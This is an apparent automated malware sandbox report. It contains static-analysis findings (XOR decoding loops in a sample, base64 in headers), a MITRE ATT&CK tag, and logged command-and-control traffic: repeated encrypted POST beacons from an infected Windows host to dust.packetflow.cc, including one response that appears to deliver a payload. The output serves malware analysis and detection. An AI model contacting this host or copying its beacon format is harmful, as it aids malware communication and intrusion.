(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "8004" in header "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gX-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gX-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gX-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gX-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gX-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /U-fu4_hdd@N8REwW51XQaa_2Iw-.xWXHaOY__LGXHnf-GR_z HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "N8REwW51XQaa" in header "POST /U-fu4_hdd@N8REwW51XQaa_2Iw-.xWXHaOY__LGXHnf-GR_z HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "dust" in header "POST /U-fu4_hdd@N8REwW51XQaa_2Iw-.xWXHaOY__LGXHnf-GR_z HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /U-fu4_hdd@N8REwW51XQaa_2Iw-.xWXHaOY__LGXHnf-GR_z HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /U-fu4_hdd@N8REwW51XQaa_2Iw-.xWXHaOY__LGXHnf-GR_z HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /U-fu4_hdd@N8REwW51XQaa_2Iw-.xWXHaOY__LGXHnf-GR_z HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /U-fu4_hdd@N8REwW51XQaa_2Iw-.xWXHaOY__LGXHnf-GR_z HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /U-fu4_hdd@N8REwW51XQaa_2Iw-.xWXHaOY__LGXHnf-GR_z HTTP/1.1Host: dust.packetflow.ccContent-Type: application/octet-streamX-Request-ID: 261DQTdN5-MHcMV36cjB8gConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36"26:Tcf3,Found XOR loop in file "sample.bin" at offset 961385; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1073818; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1159095; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1461190; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2093660; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2310627; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2318765; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2319157; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2320087; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2320463; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2321499; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2321907; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2322333; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2324005; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2331147; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2466812; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2469901; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 394114; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 394248; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 914315; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 926748; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1038234; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1076144; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1729550; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2305399; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2479019; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 568783; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 568804; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 568848; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 568887; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 568900; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 797496; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 961034; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 963474; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1038987; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1534389; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2241620; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2302446; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2318300; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2319498; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2321494; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2321906; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2331128; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2461755; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2502766; code bytes = 803027:T775," "/ê-¬nJ*Yô¯ò[ ´ËÒçwb»¢³T¾'Á7ÐÆOwsÈ§=O `2¥Éígñþ¨%iåL E®÷mï'U=à751EC39E1EC38905C29D24C2B5C3B15CC38B462FC29861C2AC5E0CC3BD3EC3A5C38F086E6159C38FC3A5C298C39D2C54C3AD39C383C2913D4EC29CC2BAC28B25....... "POST / HTTP/1.1 Host: dust.packetflow.cc Content-Type: application/octet-stream X-Request-ID: 261DQTdN5-MHcMV36cjB8g Connection: keep-alive Content-Length: 108 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "}û3GM1RZÃþÏpôVêB#&z0õ.>¤Â¾M®VOq«mwo±U9TÌ'}ÚøYÛ'½¤Á0oyï³AD>-4Ú`ðQP8ÖbßyD0Ç+e*·;h\¨Ø" HTTP/1.1 200 OK Date: Thu 28 May 2026 23:42:41 GMT Content-Type: application/octet-stream Content-Length: 470 Connection: keep-alive Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=8 cfOrigin;dur=690 Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: a0311e020b1f7542-SJC with response body ==>751915C39D083C43C2A83C07C3B5172AC2AEC2B258545CC28FC28611C2BA11557F06C3B9C2B9C399194C70C295C2BCC2AB6651C2B9512A24C3A16DC2AA252757....... "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1 Host: dust.packetflow.cc Content-Type: application/octet-stream X-Request-ID: 261DQTdN5-MHcMV36cjB8g X-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> " ·¬ì©ñ»¹ìc+CÞ,<°41ÅØòÍÑ" HTTP/1.1 200 OK Date: Thu 28 May 2026 23:42:42 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=3 cfOrigin;dur=641 CF-RAY: a0311e06d9fd7542-SJC with no response body "POST /U-fu4_hdd@N8REwW51XQaa_2Iw-.xWXHaOY__LGXHnf-GR_z HTTP/1.1 Host: dust.packetflow.cc Content-Type: application/octet-stream X-Request-ID: 261DQTdN5-MHcMV36cjB8g Connection: keep-alive Content-Length: 73 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "a|~(pÔþá[ïKp"ñ xzGU!ìGêÁ`töÆàÍû)òa`VQp"'Þ¤"ì2ò«ìYöê?.î" HTTP/1.1 200 OK Date: Thu, 28 May 2026 23:42:42 GMT Content-Type: application/octet-stream Content-Length: 54316 Connection: keep-alive Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2,cfOrigin;dur=188 Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a0311e0af8307542-SJC with response body ==>24C3B3C28E74C2A733C3AEC3BFC3B304C298043FC2AE5B22760FC38F225FC2B264C2B27939C3B4264CC2A2C2BBC297C39EC2B707020EC3961BC2BE0FC394C39D......., "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1 Host: dust.packetflow.cc Content-Type: application/octet-stream X-Request-ID: 261DQTdN5-MHcMV36cjB8g X-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "RvIøcñ¿j6e%°ãî¿½!ÜUé£¥¿" HTTP/1.1 200 OK Date: Thu, 28 May 2026 23:42:43 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare Cf-Cache-Status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} Alt-Svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=5,cfOrigin;dur=808 CF-RAY: a0311e0e3de27542-SJC with no response body, "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1 Host: dust.packetflow.cc Content-Type: application/octet-stream X-Request-ID: 261DQTdN5-MHcMV36cjB8g X-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "¸ßð "t¯ê:ÏPòËgd7âG|nßv¬ô3"" HTTP/1.1 200 OK Date: Thu, 28 May 2026 23:42:47 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2,cfOrigin;dur=1147 CF-RAY: a0311e242db07542-SJC with no response body, "POST /J~ti_K~v4-LW2lTs@_CVD-cOU4@-GWeFEBHtm HTTP/1.1 Host: dust.packetflow.cc Content-Type: application/octet-stream X-Request-ID: 261DQTdN5-MHcMV36cjB8g X-Lid: 178001175860DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "¡çêjÉÄÛd/KÇ` tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a18d2d77d23d0e0e304023d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\" ¸ßð